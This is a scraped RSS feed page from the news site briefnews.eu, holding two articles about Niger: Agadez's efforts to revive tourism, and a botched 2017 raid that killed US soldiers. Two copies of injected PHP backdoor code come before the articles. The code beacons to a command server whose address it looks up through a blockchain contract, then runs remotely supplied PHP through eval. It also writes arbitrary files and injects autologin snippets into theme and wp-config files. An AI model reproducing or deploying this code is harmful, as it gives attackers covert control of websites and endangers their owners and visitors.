// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Niger – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 03 Aug 2018 08:37:28 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Niger – Brief News https://briefnews.eu 32 32 Can Niger Rise Again as a Post-Terror Tourism Hub? https://briefnews.eu/can-niger-rise-again-as-a-post-terror-tourism-hub/ https://briefnews.eu/can-niger-rise-again-as-a-post-terror-tourism-hub/#respond Fri, 03 Aug 2018 08:37:28 +0000 http://briefnews.eu/can-niger-rise-again-as-a-post-terror-tourism-hub/

Mawli Dayak turns emotional as he quotes his late father, Mano Dayak, the legendary former rebel leader of Niger’s Tuareg community. “You can’t speak about the desert, you have to live it,” says Dayak, as our conversation in the central Niger city of Agadez veers from a formal interview to words like attay, the tea served in every Tuareg home. But Dayak’s words aren’t meant only for the residents of the city. The 40-year-old is part of an emerging movement to restore the historic city of Agadez, once known as the gateway to the Sahara, back to its eminence as a tourist destination — against the odds.

Until 2007, charter flights packed with European visitors would land in Agadez throughout the winter. Cars for the Paris-Dakar rally would warm up their engines here, before racing through some of the most spectacular settings in the world. A series of armed rebellions in northern Niger first dented that reputation. Then came jihadi movements and instability across the borders in Mali and Libya starting in 2011, which, coupled with militant attacks in Agadez and the town of Arlit 200 kilometers north in 2013, appeared to have wiped out that legacy. Instead, Agadez became a notorious human-smuggling route through which thousands of migrants from sub-Saharan Africa were illegally ferried into Libya and, eventually, Europe.

”There’s not a single day that I don’t think about my friends [in] Europe. I know they want to come back, and I dream to see them again.”

Kawal Akilal, migration agent

But the city is trying to turn the clock back, desperately battling to reattract tourists. The 20,000 tourists who would nose around the alleys of the old city every winter up to 2007, before leaving for expensive desert tours, are still a mirage. Smaller groups, though, are starting to reappear.

The Pension Tellit, a once-popular hotel that closed in 2007, at the dawn of the last rebellion, reopened in mid-2017 and has since hosted more than 500 visitors. The local government is considering proposals for a tourist security guard, patrolling desert areas, along the lines of what Mauritania, Tunisia and Morocco have done. Hundreds of Western visitors have been escorted in the winters of 2017 and 2018 to the Festival de l’Aïr, a Tuareg cultural festival held in the remote oasis of Iferouane. UNESCO helped by awarding Agadez the status of a World Heritage Site in 2013. In December 2016, a government-supported chartered flight landed in Agadez from Paris, for the first time in 10 years. And in June, Dayak’s firm Temet Evenéments brought more than 100 panelists from across Africa to Agadez for a tourism conference titled “Carrefour pour le Tourisme et l’Innovation en Afrique Occidentale” (“Crossroads for Tourism and Innovation in West Africa”).

“We’ll bring back tourism to Niger and to the Sahara,” says Dayak — a promise he keeps repeating throughout the interview.

To understand the magnitude of the challenge, Dayak and others in Agadez face, look no further than the travel advisories of most Western governments, where the city remains on a no-go list. “Reconsider travel,” warns the U.S. Department of State, as “terrorists may attack with little or no warning in the areas bordering Mali, Libya and throughout northern Niger.” “Armed groups, living out of drugs trafficking, weapons smuggling and kidnapping, are active all over the country,” writes the Swiss Foreign Ministry. A color-coded map from the U.K. Foreign Office labels 75 percent of the country — including Agadez — with a red “advise against all travel.”

These warnings didn’t stop thousands of African migrants from traveling to central Niger, where former tourist guides became immigration consultants offering them advice and routes — for a fee — to illegally cross over into Libya, and then into Europe. That model — loaded with risk for migrants and their Nigerien agents — suffered a crushing blow in 2015, when the Nigerien government banned human smuggling under pressure from the EU. Hundreds of drivers were arrested, their vehicles confiscated.

Kawal Akilal is one of the passeurs — agents — who has suffered from the ban. Sitting at a friend’s artisanal shop in the shadow of the magnificent 17th-century minaret of the city’s central mosque, Akilal, a tall man in his mid-40s, says transporting migrants was always less profitable and more dangerous than tourism, and after the 2015 ban, is getting “harder and harder.”

But the crackdown rekindled memories for Akilal of earlier days when as a boy and then as a young man, he guided tourists and made friends from distant countries. “I grew up with White people,” he says, adding that he would “guide them in the alleys of the old town.” Akilal is confident that past can return. “There’s not a single day,” he says, his eyes glowing, “that I don’t think about my friends from all over Europe. I know they want to come back, and I dream to see them again.”

For Dayak, the revival of the city is also a personal mission, a way to honor his father’s legacy. Mano Dayak, who died in a plane crash in 1995 after striking a historic peace deal with the Nigerien government, helped bring tourists and economic opportunities to a previously isolated region. The Dayak family house bears testimony to the Dayaks’ love affair with their city. Shadows overlap in the vast entry salon, where sunlight filters through windows shaped as the cross of Agadez, the symbol of the city.

Not everyone is convinced these efforts at rebuilding Agadez as a tourist hub will work. “Relaunching tourism needs a huge investment,” says Vittorio Cioni, an 81-year-old Italian who formed Niger’s first travel company. He has lived in the country since the 1970s and now runs the Pension Tellit and a pizzeria next to the Agadez central mosque. “Who’s willing to do it in such a situation of uncertainty?” he says. The idea of tourist patrols, to him, is antithetical to “the idea of desert travel: to be completely free, with no boundaries.”

Dayak concedes there are unanswered questions. Support from major Western nations, he says, will be critical to improving security and bringing back “tolerance and generosity” to the dunes of the region’s Ténéré desert. But he believes Agadez can overcome its obstacles. After all, the U.S. also has mass shooting and violent deaths, he points out. For Agadez, he says, African visitors represent a potential market too.

There’s much that hinges on Agadez’s dream, suggests Akilal. With the ban on human smuggling, youth unemployment is high. “We risk that they’ll become bandits, or even worse,” he says.

Despite challenges, those dreams are slowly resonating across Niger, which will host the African Union’s annual meeting in 2019. And despite Cioni’s skepticism, his restaurant next to the Agadez central mosque is serving up pizza every night to a slowly growing trickle of tourists.

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]]> https://briefnews.eu/can-niger-rise-again-as-a-post-terror-tourism-hub/feed/ 0 Inside The Botched Raid That Left Four US Soldiers Dead In Niger https://briefnews.eu/inside-the-botched-raid-that-left-four-us-soldiers-dead-in-niger/ https://briefnews.eu/inside-the-botched-raid-that-left-four-us-soldiers-dead-in-niger/#respond Sat, 09 Dec 2017 16:04:34 +0000 http://briefnews.eu/inside-the-botched-raid-that-left-four-us-soldiers-dead-in-niger/

OUALLAM, Niger — The mission that resulted in the death of eight soldiers — including four Americans — in a firefight with Islamist militants in Niger earlier this year was the result of reckless behavior by US Special Forces in Africa, according to insiders and officials with knowledge of the operation.

The deaths came as a result of a poorly executed mission intended to gather information about three senior ISIS militants operating in isolated territory on the border between Niger and neighboring Mali.

The US-led mission reached its target destination — BuzzFeed News can reveal for the first time that it was a militant camp across the porous border in Mali — on Oct. 3 and was returning back to base the following day when they were attacked, according to a senior ranking Nigerien official. But insiders say the fatalities in the remote village of Tongo Tongo were likely avoidable had the mission been better planned, although it is unclear whether key decisions were made by soldiers or their commanders back at base. Officials warn of the risk of further such operations just as the Trump administration is putting more US boots on the ground through the little-known Special Operations Command, Africa program (Socafrica).

A Nigerien general, two senior military officials, and an official from the Nigerien government’s anti-terrorist unit spoke about the mission to BuzzFeed News on condition of anonymity because they weren’t authorized to speak with the press.

When a message crackled over the radio at an isolated US military base just before midnight on Oct. 3, it sealed a series of missteps that led to the fatal firefight.

In visits to “red zone” areas, deemed out of bounds by US and other foreign embassies, and high-level interviews, locals and senior officials tell BuzzFeed News that the worst military fiasco under the Trump administration came after US soldiers rushed into a hornet’s nest of militants with insufficient intelligence, while a series of “negligent” mistakes during the operation handed an accidental victory to an ISIS offshoot. The incident highlights the consequences of the US prizing firepower over intelligence-gathering, even in militant-controlled terrain where local military partners are on the backfoot. And it comes as Special Force troops are being drawn deeper into shadow wars against militant Islamists on the continent — wars that have no military solution, according to those mired within them.

When a message crackled over the radio at an isolated US military base just before midnight on Oct. 3, it sealed a series of missteps that led to the fatal firefight. Earlier that morning, a convoy of soldiers in desert camouflage sped over the dry riverbed that marks the edge of Ouallam, a garrison outpost almost 60 miles from Niamey, the capital of the vast landlocked West African country. The dozen US Special Forces and their 30 Nigerien counterparts were taking part in what the Pentagon publicly described as a routine reconnaissance mission. Passing one final military checkpoint, beyond which the road dissolved into sand, the men continued northward toward the border with Mali, whose dunes and desert caves are a haven for groups loyal to both al-Qaeda and ISIS.

But a second senior Nigerien military commander briefed on the matter told BuzzFeed News they were in fact seeking three specific targets. “The objective was intelligence-gathering on three militants,” the commander said. He also confirmed the names of two of the militants the convoy was searching for: a man who goes under the alias of Petit Tchapori, and Chefou Doundou, a former cattle herder nicknamed Dondo by locals and code-named “Naylor Road” by US intelligence.

A US defense spokesperson declined to comment on any questions from BuzzFeed News, citing an ongoing investigation by the Department of Defense. “The investigation is exploring issues of policy, procedures, resources, doctrine, training, judgment, leadership, or valor central to this incident. The Department of Defense will always strive [to] ensure our forces are properly equipped and have the necessary capabilities to accomplish their mission and defeat any threat,” the spokesperson said in an emailed statement.

The two militants were key local lieutenants in a fledgling ISIS affiliate called Islamic State in the Greater Sahara (ISGS), led by the Western Sahara-born Adnan al-Sahrawi. Drawing on their deep ties in villages far from any urban area, the two senior militant leaders have spearheaded successful recruiting tactics for ISGS over the past year, swelling its ranks enough to carry out “repeated attacks along the border with Mali.”


Jane Hahn for BuzzFeed News

